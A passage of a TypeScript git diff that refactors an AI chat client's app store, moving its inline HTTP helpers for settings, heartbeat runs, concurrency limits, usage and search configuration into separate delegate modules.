- for (const entry of protocol.catalog) {
- const spec = getSurfaceSpec(protocol, entry.id);
+ for (const entry of surfaces.protocol.catalog) {
+ const spec = getSurfaceSpec(surfaces.protocol, entry.id);
if (spec) out.push(spec);
}
return out;
},
get lastError() {
- return protocol.lastError;
+ return surfaces.protocol.lastError;
},
get storage() {
return localStorageOpt;
},
get cwd(): string | null {
- return cwd;
+ return settings.cwd;
},
get computerId(): string | null {
- return computerId;
+ return settings.computerId;
},
get computers(): readonly ComputerEntry[] {
- return computers;
+ return refreshers.computers;
},
get reasoningEffort(): ReasoningEffort | null {
- return reasoningEffort;
+ return settings.reasoningEffort;
},
get thinking(): boolean | null {
- return thinking;
+ return settings.thinking;
},
get compactPercent(): number | null {
- return compactPercent;
+ return settings.compactPercent;
},
get visionSettings(): VisionSettings | null {
- return visionSettings;
+ return settings.visionSettings;
},
async refreshVisionSettings(): Promise<void> {
- await refreshVisionSettings();
+ await settings.refreshVisionSettings();
},
get chatLimit(): number {
- return chatLimit;
+ return registry.chatLimit;
},
conversationStatus(conversationId: string): ConversationStatus | undefined {
- return conversationStatuses.get(conversationId);
+ return conversations.conversationStatuses.get(conversationId);
},
workspaceHasActiveConversations(workspaceId: string): boolean {
// O(1) lookup into the once-derived `activeWorkspaces` set; false when the
// workspace has no active/queued conversation (or none at all).
- return activeWorkspaces.has(workspaceId);
+ return conversations.workspaceHasActiveConversations(workspaceId);
},
get currentConversationId(): string {
return workspaceConversationId();
},
- surface(surfaceId: string): SurfaceSpec | null {
- return getSurfaceSpec(protocol, surfaceId);
+ surface(surfaceId: string, conversationId?: string): SurfaceSpec | null {
+ return surfaces.surfaceSpecOp(surfaceId, conversationId);
},
send(text: string, images?: readonly ImageInput[]): void {
if (tabsStore.activeConversationId === null) {
// Draft: promote to tab on first send. Carry a Named Agent selection's
// snapshot so the promoted conversation retains how it was selected (§7).
- const conversationId = draftConversationId;
+ const conversationId = registry.draftConversationId;
const model = activeModel;
const snapshot = namedAgentSnapshot ?? undefined;
tabsStore.createTab({
@@ -1911,37 +529,36 @@ export function createAppStore(opts?: CreateAppStoreOptions): AppStore {
workspaceId: activeWorkspaceId,
...(snapshot ? { snapshot } : {}),
});
- chatStores.set(conversationId, draftStore);
- void draftStore.load();
+ registry.chatStores.set(conversationId, registry.draftStore);
// Prepare next draft
const nextDraftId = randomId();
- draftStore = createChatFor(nextDraftId, activeModel, activeWorkspaceId);
- draftConversationId = nextDraftId;
+ registry.draftStore = registry.createChatFor(nextDraftId, activeModel, activeWorkspaceId);
+ registry.draftConversationId = nextDraftId;
- refreshActiveChat();
+ registry.refreshActiveChat();
// The draft became a real conversation: re-scope conversation-scoped
// surfaces (e.g. cache-warming) to its id.
- syncSubscriptions();
- void refreshCwd();
- void refreshComputer();
- void refreshReasoningEffort();
- void refreshThinking();
- void refreshCompactPercent();
+ surfaces.syncSubscriptions();
+ void settings.refreshCwd();
+ void settings.refreshComputer();
+ void settings.refreshReasoningEffort();
+ void settings.refreshThinking();
+ void settings.refreshCompactPercent();
// Now send on the promoted store
- chatStores.get(conversationId)?.send(text, images);
+ registry.chatStores.get(conversationId)?.send(text, images);
} else {
- activeChat.send(text, images);
+ registry.activeChat.send(text, images);
}
},
- queueMessage(text: string): void {
+ queueMessage(text: string, images?: readonly ImageInput[]): void {
// Only offered while generating (Composer switches to `chat.queue`
// when `status === "running"`), so a draft (never generating) never
// reaches here. `chat.queue` auto-starts a turn if idle, so even a race
// (turn sealed between the status read and the send) is safe — the
// server starts a fresh turn with the message as its opening prompt.
- activeChat.queueMessage(text);
+ registry.activeChat.queueMessage(text, images);
},
cancelQueuedMessage(messageId: string): void {
@@ -1950,7 +567,7 @@ export function createAppStore(opts?: CreateAppStoreOptions): AppStore {
// A cancel of an already-drained / unknown message is a silent no-op, so
// there is no local state to roll back. Delegates to the focused
// conversation's chat store, which owns the conversationId + transport.
- activeChat.cancelQueuedMessage(messageId);
+ registry.activeChat.cancelQueuedMessage(messageId);
},
selectModel(model: string, snapshot?: NamedAgentSelectionSnapshot): void {
@@ -1960,8 +577,8 @@ export function createAppStore(opts?: CreateAppStoreOptions): AppStore {
if (activeId !== null) {
tabsStore.setModel(activeId, model);
tabsStore.setSnapshot(activeId, snapshot ?? null);
- chatStores.get(activeId)?.setModel(model);
- chatStores.get(activeId)?.setNamedAgent(snapshot ?? null);
+ registry.chatStores.get(activeId)?.setModel(model);
+ registry.chatStores.get(activeId)?.setNamedAgent(snapshot ?? null);
const body: SetModelRequest = { model, ...(snapshot ? { namedAgent: snapshot } : {}) };
void fetchImpl(`${httpBase}/conversations/${encodeURIComponent(activeId)}/model`, {
method: "PUT",
@@ -1971,25 +588,25 @@ export function createAppStore(opts?: CreateAppStoreOptions): AppStore {
reportError("Failed to persist model", err);
});
} else {
- draftStore.setModel(model);
- draftStore.setNamedAgent(snapshot ?? null);
+ registry.draftStore.setModel(model);
+ registry.draftStore.setNamedAgent(snapshot ?? null);
}
},
newDraft(): void {
tabsStore.newDraft();
const nextDraftId = randomId();
- draftStore = createChatFor(nextDraftId, activeModel, activeWorkspaceId);
- draftConversationId = nextDraftId;
+ registry.draftStore = registry.createChatFor(nextDraftId, activeModel, activeWorkspaceId);
+ registry.draftConversationId = nextDraftId;
namedAgentSnapshot = null;
- refreshActiveChat();
- syncSubscriptions();
- void refreshCwd();
- void refreshComputer();
+ registry.refreshActiveChat();
+ surfaces.syncSubscriptions();
+ void settings.refreshCwd();
+ void settings.refreshComputer();
void refreshModel();
- void refreshReasoningEffort();
- void refreshThinking();
- void refreshCompactPercent();
+ void settings.refreshReasoningEffort();
+ void settings.refreshThinking();
+ void settings.refreshCompactPercent();
},
selectTab(conversationId: string): void {
@@ -2001,916 +618,120 @@ export function createAppStore(opts?: CreateAppStoreOptions): AppStore {
} else {
namedAgentSnapshot = null;
}
- refreshActiveChat();
- syncSubscriptions();
- void refreshCwd();
- void refreshComputer();
+ registry.refreshActiveChat();
+ surfaces.syncSubscriptions();
+ void settings.refreshCwd();
+ void settings.refreshComputer();
void refreshModel();
- void refreshReasoningEffort();
- void refreshThinking();
- void refreshCompactPercent();
+ void settings.refreshReasoningEffort();
+ void settings.refreshThinking();
+ void settings.refreshCompactPercent();
},
closeTab(conversationId: string): void {
// The user is DONE with this chat: abort any in-flight turn + stop/disable
// its cache-warming, server-side (POST /close sets status → "closed").
- closeConversation(conversationId);
- removeTabLocally(conversationId);
+ conversations.closeConversation(conversationId);
+ conversations.removeTabLocally(conversationId);
},
- renameTab(conversationId: string, title: string): void {
- tabsStore.setTitle(conversationId, title);
- void fetchImpl(`${httpBase}/conversations/${encodeURIComponent(conversationId)}/title`, {
- method: "PUT",
- headers: { "Content-Type": "application/json" },
- body: JSON.stringify({ title } satisfies SetTitleRequest),
- }).catch((err) => {
- reportError("Failed to rename conversation", err);
- });
- },
-
- setTabGroup(conversationId: string, parentId: string | null): void {
- const previous =
- tabsStore.tabs.find((t) => t.conversationId === conversationId)?.tabGroupParentId ?? null;
- tabsStore.setTabGroupParent(conversationId, parentId);
- void (async () => {
- try {
- const res = await fetchImpl(
- `${httpBase}/conversations/${encodeURIComponent(conversationId)}/tab-group`,
- {
- method: "PUT",
- headers: { "Content-Type": "application/json" },
- body: JSON.stringify({ parentId } satisfies SetTabGroupRequest),
- },
- );
- if (!res.ok) {
- const err = (await res.json().catch(() => null)) as { error?: string } | null;
- throw new Error(err?.error ?? `HTTP ${res.status}`);
- }
- const body = (await res.json()) as TabGroupResponse;
- tabsStore.setTabGroupParent(conversationId, body.tabGroupParentId);
- } catch (err) {
- // Revert the optimistic move, then surface the failure.
- tabsStore.setTabGroupParent(conversationId, previous);
- reportError("Failed to update the tab's subagent group", err);
- }
- })();
- },
+ renameTab: conversations.renameTab,
+ setTabGroup: conversations.setTabGroup,
invoke(surfaceId: string, actionId: string, payload?: unknown): void {
- invokeSurfaceOp(surfaceId, actionId, payload);
+ surfaces.invokeSurfaceOp(surfaceId, actionId, payload);
},
subscribeSurface(surfaceId: string, conversationId?: string): void {
- subscribeSurfaceOp(surfaceId, conversationId);
+ surfaces.subscribeSurfaceOp(surfaceId, conversationId);
},
unsubscribeSurface(surfaceId: string, conversationId?: string): void {
- unsubscribeSurfaceOp(surfaceId, conversationId);
+ surfaces.unsubscribeSurfaceOp(surfaceId, conversationId);
},
- async warmNow(): Promise<WarmResult | null> {
- const conversationId = tabsStore.activeConversationId;
- if (conversationId === null) return null;
- const body: WarmRequest = { conversationId, model: activeModel };
- try {
- const res = await fetchImpl(`${httpBase}/chat/warm`, {
- method: "POST",
- headers: { "content-type": "application/json" },
- body: JSON.stringify(body),
- });
- if (!res.ok) {
- const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
- return { ok: false, error: errBody?.error ?? `Warm failed (HTTP ${res.status})` };
- }
- return { ok: true, response: (await res.json()) as WarmResponse };
- } catch (err) {
- return { ok: false, error: err instanceof Error ? err.message : "Warm request failed" };
- }
- },
+ warmNow: httpActions.warmNow,
- async setCwd(value: string): Promise<CwdResult | null> {
- const id = workspaceConversationId();
- const body: SetCwdRequest = {
- cwd: value,
- workspaceId: untrack(() => activeWorkspaceId),
- };
- try {
- const res = await fetchImpl(`${httpBase}/conversations/${encodeURIComponent(id)}/cwd`, {
- method: "PUT",
- headers: { "content-type": "application/json" },
- body: JSON.stringify(body),
- });
- if (!res.ok) {
- const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
- return { ok: false, error: errBody?.error ?? `Set cwd failed (HTTP ${res.status})` };
- }
- const data = (await res.json()) as CwdResponse;
- const next = data.cwd ?? null;
- if (workspaceConversationId() === id) cwd = next;
- return { ok: true, cwd: next };
- } catch (err) {
- return { ok: false, error: err instanceof Error ? err.message : "Set cwd request failed" };
- }
- },
+ setCwd: settings.setCwd,
- async setComputer(computerIdValue: string | null): Promise<ComputerResult | null> {
- const id = workspaceConversationId();
- const body: SetConversationComputerRequest = { computerId: computerIdValue };
- try {
- const res = await fetchImpl(
- `${httpBase}/conversations/${encodeURIComponent(id)}/computer`,
- {
- method: "PUT",
- headers: { "content-type": "application/json" },
- body: JSON.stringify(body),
- },
- );
- if (!res.ok) {
- const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
- return {
- ok: false,
- error: errBody?.error ?? `Set computer failed (HTTP ${res.status})`,
- };
- }
- const data = (await res.json()) as ConversationComputerResponse;
- const next = data.computerId ?? null;
- if (workspaceConversationId() === id) computerId = next;
- return { ok: true, computerId: next };
- } catch (err) {
- return {
- ok: false,
- error: err instanceof Error ? err.message : "Set computer request failed",
- };
- }
- },
+ setComputer: settings.setComputer,
- async computerStatus(alias: string): Promise<ComputerStatusResult | null> {
- if (alias === "") return null;
- try {
- const res = await fetchImpl(`${httpBase}/computers/${encodeURIComponent(alias)}/status`);
- if (!res.ok) {
- const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
- return {
- ok: false,
- error: errBody?.error ?? `Computer status failed (HTTP ${res.status})`,
- };
- }
- const status = (await res.json()) as ComputerStatusResponse;
- return { ok: true, response: status };
- } catch (err) {
- return {
- ok: false,
- error: err instanceof Error ? err.message : "Computer status request failed",
- };
- }
- },
+ computerStatus: httpActions.computerStatus,
- async testComputer(alias: string): Promise<TestComputerResult | null> {
- if (alias === "") return null;
- try {
- const res = await fetchImpl(`${httpBase}/computers/${encodeURIComponent(alias)}/test`, {
- method: "POST",
- });
- if (!res.ok) {
- const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
- return {
- ok: false,
- error: errBody?.error ?? `Test computer failed (HTTP ${res.status})`,
- };
- }
- const response = (await res.json()) as TestComputerResponse;
- return { ok: true, response };
- } catch (err) {
- return {
- ok: false,
- error: err instanceof Error ? err.message : "Test computer request failed",
- };
- }
- },
+ testComputer: httpActions.testComputer,
- async setReasoningEffort(level: ReasoningEffort): Promise<ReasoningEffortResult | null> {
- const id = workspaceConversationId();
- const body: SetReasoningEffortRequest = { reasoningEffort: level };
- try {
- const res = await fetchImpl(
- `${httpBase}/conversations/${encodeURIComponent(id)}/reasoning-effort`,
- {
- method: "PUT",
- headers: { "content-type": "application/json" },
- body: JSON.stringify(body),
- },
- );
- if (!res.ok) {
- const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
- return {
- ok: false,
- error: errBody?.error ?? `Set reasoning effort failed (HTTP ${res.status})`,
- };
- }
- const data = (await res.json()) as ReasoningEffortResponse;
- const next = data.reasoningEffort ?? level;
- if (workspaceConversationId() === id) reasoningEffort = next;
- return { ok: true, reasoningEffort: next };
- } catch (err) {
- return {
- ok: false,
- error: err instanceof Error ? err.message : "Set reasoning effort request failed",
- };
- }
- },
+ setReasoningEffort: settings.setReasoningEffort,
- async setThinking(enabled: boolean): Promise<ThinkingResult | null> {
- const id = workspaceConversationId();
- const body: SetThinkingRequest = { thinking: enabled };
- try {
- const res = await fetchImpl(
- `${httpBase}/conversations/${encodeURIComponent(id)}/thinking`,
- {
- method: "PUT",
- headers: { "content-type": "application/json" },
- body: JSON.stringify(body),
- },
- );
- if (!res.ok) {
- const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
- return {
- ok: false,
- error: errBody?.error ?? `Set thinking failed (HTTP ${res.status})`,
- };
- }
- // Guard against the SPA fallback (200 + text/html when the endpoint
- // is not shipped). Optimistically apply locally — the backend can't
- // persist it, but the UI reflects the user's intent for this session.
- const contentType = res.headers.get("content-type") ?? "";
- if (!contentType.includes("application/json")) {
- if (workspaceConversationId() === id) thinking = enabled;
- return { ok: true, thinking: enabled };
- }
- const data = (await res.json()) as ThinkingResponse;
- const next = data.thinking ?? enabled;
- if (workspaceConversationId() === id) thinking = next;
- return { ok: true, thinking: next };
- } catch (err) {
- return {
- ok: false,
- error: err instanceof Error ? err.message : "Set thinking request failed",
- };
- }
- },
+ setThinking: settings.setThinking,
- stopGeneration(): void {
- const conversationId = tabsStore.activeConversationId;
- if (conversationId === null) return;
- void fetchImpl(`${httpBase}/conversations/${encodeURIComponent(conversationId)}/stop`, {
- method: "POST",
- }).catch((err) => {
- reportError("Failed to stop generation", err);
- });
- },
+ stopGeneration: httpActions.stopGeneration,
- async compactNow(keepLastN?: number): Promise<CompactResult | null> {
- const conversationId = tabsStore.activeConversationId;
- if (conversationId === null) return null;
- const body: Record<string, unknown> = {};
- if (keepLastN !== undefined) body.keepLastN = keepLastN;
- try {
- const res = await fetchImpl(
- `${httpBase}/conversations/${encodeURIComponent(conversationId)}/compact`,
- {
- method: "POST",
- headers: { "content-type": "application/json" },
- body: JSON.stringify(body),
- },
- );
- if (!res.ok) {
- const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
- return {
- ok: false,
- error: errBody?.error ?? `Compact failed (HTTP ${res.status})`,
- };
- }
- const data = (await res.json()) as CompactResponse;
- return { ok: true, response: data };
- } catch (err) {
- return {
- ok: false,
- error: err instanceof Error ? err.message : "Compact request failed",
- };
- }
- },
+ compactNow: httpActions.compactNow,
- async setCompactPercent(percent: number): Promise<CompactPercentResult | null> {
- const id = workspaceConversationId();
- const body: SetCompactPercentRequest = { threshold: percent };
- try {
- const res = await fetchImpl(
- `${httpBase}/conversations/${encodeURIComponent(id)}/compact-percent`,
- {
- method: "PUT",
- headers: { "content-type": "application/json" },
- body: JSON.stringify(body),
- },
- );
- if (!res.ok) {
- const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
- return {
- ok: false,
- error: errBody?.error ?? `Set compact percent failed (HTTP ${res.status})`,
- };
- }
- const data = (await res.json()) as CompactPercentResponse;
- if (workspaceConversationId() === id) compactPercent = data.threshold;
- return { ok: true, percent: data.threshold };
- } catch (err) {
- return {
- ok: false,
- error: err instanceof Error ? err.message : "Set compact percent request failed",
- };
- }
- },
+ setCompactPercent: settings.setCompactPercent,
- async setVisionSettings(patch: VisionSettingsPatch): Promise<VisionSettingsResult | null> {
- const body: SetVisionSettingsRequest = patch;
- try {
- const res = await fetchImpl(`${httpBase}/settings/vision`, {
- method: "PUT",
- headers: { "content-type": "application/json" },
- body: JSON.stringify(body),
- });
- if (!res.ok) {
- const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
- return {
- ok: false,
- error: errBody?.error ?? `Set vision settings failed (HTTP ${res.status})`,
- };
- }
- const data = normalizeVisionSettings(await res.json());
- visionSettings = data;
- return { ok: true, settings: data };
- } catch (err) {
- return {
- ok: false,
- error: err instanceof Error ? err.message : "Set vision settings request failed",
- };
- }
- },
+ setVisionSettings: settings.setVisionSettings,
- async setChatLimit(limit: number): Promise<ChatLimitResult> {
- const next = normalizeChatLimit(limit);
- chatLimitStore.save(next);
- chatLimit = next;
- // Propagate to every live chat store. The ACTIVE one is awaited so its
- // refill (on a raise) lands before the caller returns — letting the
- // shell preserve scroll over the prepended older chunks. Background
- // stores refill fire-and-forget. Future stores pick the new limit up at
- // creation (via the persisted store).
- const active = getActiveChat();
- await active.setChatLimit(next);
- for (const s of chatStores.values()) {
- if (s !== active) void s.setChatLimit(next);
- }
- if (draftStore !== active) void draftStore.setChatLimit(next);
- return { ok: true, chatLimit: next };
- },
+ setChatLimit: registry.setChatLimit,
- async lspStatus(): Promise<LspResult | null> {
- const id = workspaceConversationId();
- try {
- const res = await fetchImpl(`${httpBase}/conversations/${encodeURIComponent(id)}/lsp`);
- if (!res.ok) {
- const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
- return { ok: false, error: errBody?.error ?? `LSP status failed (HTTP ${res.status})` };
- }
- // Normalize the untyped body at this network seam so a malformed/partial
- // response can never crash the renderer (servers is guaranteed an array).
- const data = (await res.json()) as Partial<LspStatusResponse>;
- const response: LspStatusResponse = {
- conversationId: data.conversationId ?? id,
- cwd: data.cwd ?? null,
- servers: Array.isArray(data.servers) ? data.servers : [],
- };
- return { ok: true, response };
- } catch (err) {
- return {
- ok: false,
- error: err instanceof Error ? err.message : "LSP status request failed",
- };
- }
- },
+ lspStatus: settings.lspStatus,
- async mcpStatus(): Promise<McpResult | null> {
- const id = workspaceConversationId();
- try {
- const res = await fetchImpl(`${httpBase}/conversations/${encodeURIComponent(id)}/mcp`);
- if (!res.ok) {
- const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
- return { ok: false, error: errBody?.error ?? `MCP status failed (HTTP ${res.status})` };
- }
- // Normalize the untyped body at this network seam so a malformed/partial
- // response can never crash the renderer (servers is guaranteed an array).
- const data = (await res.json()) as Partial<McpStatusResponse>;
- const response: McpStatusResponse = {
- conversationId: data.conversationId ?? id,
- cwd: data.cwd ?? null,
- servers: Array.isArray(data.servers) ? data.servers : [],
- };
- return { ok: true, response };
- } catch (err) {
- return {
- ok: false,
- error: err instanceof Error ? err.message : "MCP status request failed",
- };
- }
- },
+ mcpStatus: settings.mcpStatus,
- async heartbeatConfig(): Promise<HeartbeatConfigResult> {
- // Workspace-scoped (NOT per-conversation): use the active workspace id.
- const wsId = untrack(() => activeWorkspaceId);
- try {
- const res = await fetchImpl(`${httpBase}/workspaces/${encodeURIComponent(wsId)}/heartbeat`);
- if (!res.ok) {
- const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
- return {
- ok: false,
- error: errBody?.error ?? `Heartbeat config failed (HTTP ${res.status})`,
- };
- }
- // Normalize the untyped JSON at the network seam (pure helper) so a
- // malformed/partial response can never crash the renderer.
- const config: HeartbeatConfig = normalizeHeartbeatConfig(await res.json());
- return { ok: true, config };
- } catch (err) {
- return {
- ok: false,
- error: err instanceof Error ? err.message : "Heartbeat config request failed",
- };
- }
- },
+ heartbeatConfig: httpActions.heartbeatConfig,
- async setHeartbeatConfig(patch: HeartbeatConfigPatch): Promise<HeartbeatConfigResult> {
- const wsId = untrack(() => activeWorkspaceId);
- try {
- const res = await fetchImpl(
- `${httpBase}/workspaces/${encodeURIComponent(wsId)}/heartbeat`,
- {
- method: "PUT",
- headers: { "content-type": "application/json" },
- body: JSON.stringify(patch),
- },
- );
- if (!res.ok) {
- const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
- return {
- ok: false,
- error: errBody?.error ?? `Set heartbeat config failed (HTTP ${res.status})`,
- };
- }
- const config: HeartbeatConfig = normalizeHeartbeatConfig(await res.json());
- return { ok: true, config };
- } catch (err) {
- return {
- ok: false,
- error: err instanceof Error ? err.message : "Set heartbeat config request failed",
- };
- }
- },
+ setHeartbeatConfig: httpActions.setHeartbeatConfig,
- async heartbeatRuns(): Promise<HeartbeatRunsResult> {
- const wsId = untrack(() => activeWorkspaceId);
- try {
- const res = await fetchImpl(
- `${httpBase}/workspaces/${encodeURIComponent(wsId)}/heartbeat/runs`,
- );
- if (!res.ok) {
- const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
- return {
- ok: false,
- error: errBody?.error ?? `Heartbeat runs failed (HTTP ${res.status})`,
- };
- }
- const runs: readonly HeartbeatRun[] = normalizeHeartbeatRuns(await res.json());
- return { ok: true, runs };
- } catch (err) {
- return {
- ok: false,
- error: err instanceof Error ? err.message : "Heartbeat runs request failed",
- };
- }
- },
+ heartbeatRuns: httpActions.heartbeatRuns,
- async stopHeartbeatRun(runId: string): Promise<HeartbeatStopResult> {
- const wsId = untrack(() => activeWorkspaceId);
- try {
- const res = await fetchImpl(
- `${httpBase}/workspaces/${encodeURIComponent(wsId)}/heartbeat/runs/${encodeURIComponent(runId)}/stop`,
- { method: "POST" },
- );
- if (!res.ok) {
- const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
- return {
- ok: false,
- error: errBody?.error ?? `Stop heartbeat run failed (HTTP ${res.status})`,
- };
- }
- return { ok: true };
- } catch (err) {
- return {
- ok: false,
- error: err instanceof Error ? err.message : "Stop heartbeat run request failed",
- };
- }
- },
+ stopHeartbeatRun: httpActions.stopHeartbeatRun,
- async heartbeatNextRun(): Promise<HeartbeatNextRunResult> {
- const wsId = untrack(() => activeWorkspaceId);
- try {
- const res = await fetchImpl(
- `${httpBase}/workspaces/${encodeURIComponent(wsId)}/heartbeat/next-run`,
- );
- if (!res.ok) {
- // 404 = the backend hasn't shipped CR-HB-3 yet → the FE falls back to
- // an approximation. Surface as ok:false (non-fatal).
- const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
- return {
- ok: false,
- error: errBody?.error ?? `Heartbeat next-run failed (HTTP ${res.status})`,
- };
- }
- const data = (await res.json().catch(() => null)) as { nextRunAt?: string | null } | null;
- // `null` (disabled / no run scheduled) passes through; anything non-string
- // also becomes null so a malformed body can't crash the countdown.
- const raw = data?.nextRunAt;
- const nextRunAt = typeof raw === "string" ? raw : null;
- return { ok: true, nextRunAt };
- } catch (err) {
- return {
- ok: false,
- error: err instanceof Error ? err.message : "Heartbeat next-run request failed",
- };
- }
- },
+ heartbeatNextRun: httpActions.heartbeatNextRun,
watchConversation(conversationId: string): ChatStore {
- return watchConversation(conversationId);
+ return registry.watchConversation(conversationId);
},
unwatchConversation(conversationId: string): void {
- unwatchConversation(conversationId);
+ registry.unwatchConversation(conversationId);
},
// ── Concurrency (per-provider limits + live status; GLOBAL, not workspace-scoped)
- async concurrencyLimits(): Promise<ConcurrencyLimitsResult> {
- try {
- const res = await fetchImpl(`${httpBase}/concurrency/limits`);
- if (!res.ok) {
- const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
- return {
- ok: false,
- error: errBody?.error ?? `Concurrency limits failed (HTTP ${res.status})`,
- };
- }
- // Normalize the untyped JSON at the network seam (pure helper) so a
- // malformed/partial response (e.g. the extension returning `{}`) can
- // never crash the renderer.
- const limits = normalizeConcurrencyLimits(await res.json());
- return { ok: true, limits };
- } catch (err) {
- return {
- ok: false,
- error: err instanceof Error ? err.message : "Concurrency limits request failed",
- };
- }
- },
+ concurrencyLimits: httpActions.concurrencyLimits,
- async getConcurrencyLimit(providerId: string): Promise<ConcurrencyLimitResult> {
- try {
- const res = await fetchImpl(
- `${httpBase}/concurrency/limits/${encodeURIComponent(providerId)}`,
- );
- if (!res.ok) {
- const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
- return {
- ok: false,
- error: errBody?.error ?? `Concurrency limit failed (HTTP ${res.status})`,
- };
- }
- const limit = normalizeConcurrencyLimit(await res.json());
- if (limit === null) {
- return { ok: false, error: "Malformed concurrency limit response" };
- }
- return { ok: true, providerId: limit.providerId, limit: limit.limit };
- } catch (err) {
- return {
- ok: false,
- error: err instanceof Error ? err.message : "Concurrency limit request failed",
- };
- }
- },
+ getConcurrencyLimit: httpActions.getConcurrencyLimit,
- async setConcurrencyLimit(providerId: string, limit: number): Promise<ConcurrencyLimitResult> {
- try {
- const res = await fetchImpl(
- `${httpBase}/concurrency/limits/${encodeURIComponent(providerId)}`,
- {
- method: "PUT",
- headers: { "content-type": "application/json" },
- body: JSON.stringify({ limit }),
- },
- );
- if (!res.ok) {
- const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
- return {
- ok: false,
- error: errBody?.error ?? `Set concurrency limit failed (HTTP ${res.status})`,
- };
- }
- const echoed = normalizeConcurrencyLimit(await res.json());
- if (echoed === null) {
- return { ok: false, error: "Malformed concurrency limit response" };
- }
- return { ok: true, providerId: echoed.providerId, limit: echoed.limit };
- } catch (err) {
- return {
- ok: false,
- error: err instanceof Error ? err.message : "Set concurrency limit request failed",
- };
- }
- },
+ setConcurrencyLimit: httpActions.setConcurrencyLimit,
- async deleteConcurrencyLimit(providerId: string): Promise<ConcurrencyDeleteResult> {
- try {
- const res = await fetchImpl(
- `${httpBase}/concurrency/limits/${encodeURIComponent(providerId)}`,
- { method: "DELETE" },
- );
- if (!res.ok) {
- const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
- return {
- ok: false,
- error: errBody?.error ?? `Delete concurrency limit failed (HTTP ${res.status})`,
- };
- }
- return { ok: true, providerId };
- } catch (err) {
- return {
- ok: false,
- error: err instanceof Error ? err.message : "Delete concurrency limit request failed",
- };
- }
- },
+ deleteConcurrencyLimit: httpActions.deleteConcurrencyLimit,
- async accountUsage(opts?: { readonly refresh?: boolean }): Promise<AccountUsageResult> {
- try {
- const res = await fetchImpl(`${httpBase}/usage${opts?.refresh ? "?refresh=1" : ""}`);
- if (!res.ok) {
- const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
- return {
- ok: false,
- error: errBody?.error ?? `Account usage failed (HTTP ${res.status})`,
- ...(res.status === 503 ? { unavailable: true } : {}),
- };
- }
- return { ok: true, usage: normalizeAccountUsage(await res.json(), Date.now()) };
- } catch (err) {
- return {
- ok: false,
- error: err instanceof Error ? err.message : "Account usage request failed",
- };
- }
- },
+ accountUsage: httpActions.accountUsage,
- async setAccountUsageSettings(
- provider: AccountUsageProviderId,
- settings: UpdateAccountUsageSettingsRequest,
- ): Promise<AccountUsageSettingsResult> {
- try {
- const res = await fetchImpl(`${httpBase}/usage/${encodeURIComponent(provider)}/settings`, {
- method: "PUT",
- headers: { "content-type": "application/json" },
- body: JSON.stringify(settings),
- });
- if (!res.ok) {
- const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
- return {
- ok: false,
- error: errBody?.error ?? `Save usage settings failed (HTTP ${res.status})`,
- };
- }
- const report = normalizeAccountUsageReport(await res.json());
- return report
- ? { ok: true, report }
- : { ok: false, error: "Malformed usage settings response" };
- } catch (err) {
- return {
- ok: false,
- error: err instanceof Error ? err.message : "Save usage settings request failed",
- };
- }
- },
+ setAccountUsageSettings: httpActions.setAccountUsageSettings,
- async concurrencyStatus(): Promise<ConcurrencyStatusResult> {
- try {
- const res = await fetchImpl(`${httpBase}/concurrency/status`);
- if (!res.ok) {
- const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
- return {
- ok: false,
- error: errBody?.error ?? `Concurrency status failed (HTTP ${res.status})`,
- };
- }
- const providers = normalizeConcurrencyStatus(await res.json());
- return { ok: true, providers };
- } catch (err) {
- return {
- ok: false,
- error: err instanceof Error ? err.message : "Concurrency status request failed",
- };
- }
- },
+ concurrencyStatus: httpActions.concurrencyStatus,
- async searchBackendConfig(): Promise<SearchBackendConfigResult> {
- try {
- const res = await fetchImpl(`${httpBase}/search/config`);
- if (!res.ok) {
- const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
- return {
- ok: false,
- error: errBody?.error ?? `Search config failed (HTTP ${res.status})`,
- // The 503 degrade = the backend's search-config service not loaded
- // (the tool-web-search extension absent) — a distinct UI state.
- ...(res.status === 503 ? { unavailable: true } : {}),
- };
- }
- // Normalize the untyped JSON at this network seam (pure helper) so a
- // malformed/partial response can never crash the renderer.
- const config = normalizeSearchBackendConfig(await res.json());
- return { ok: true, config };
- } catch (err) {
- return {
- ok: false,
- error: err instanceof Error ? err.message : "Search config request failed",
- };
- }
- },
+ searchBackendConfig: httpActions.searchBackendConfig,
- async setSearchBackend(backend: string): Promise<SearchBackendConfigResult> {
- try {
- const res = await fetchImpl(`${httpBase}/search/config`, {
- method: "PUT",
- headers: { "content-type": "application/json" },
- body: JSON.stringify({ backend }),
- });
- if (!res.ok) {
- const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
- return {
- ok: false,
- error: errBody?.error ?? `Set search backend failed (HTTP ${res.status})`,
- ...(res.status === 503 ? { unavailable: true } : {}),
- };
- }
- const config = normalizeSearchBackendConfig(await res.json());
- return { ok: true, config };
- } catch (err) {
- return {
- ok: false,
- error: err instanceof Error ? err.message : "Set search backend request failed",
- };
- }
- },
+ setSearchBackend: httpActions.setSearchBackend,
- async getConcurrencyCooldown(providerId: string): Promise<ConcurrencyCooldownResult> {
- try {
- const res = await fetchImpl(
- `${httpBase}/concurrency/cooldown/${encodeURIComponent(providerId)}`,
- );
- if (!res.ok) {
- const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
- return {
- ok: false,
- error: errBody?.error ?? `Get concurrency cooldown failed (HTTP ${res.status})`,
- };
- }
- const data = normalizeConcurrencyCooldown(await res.json());
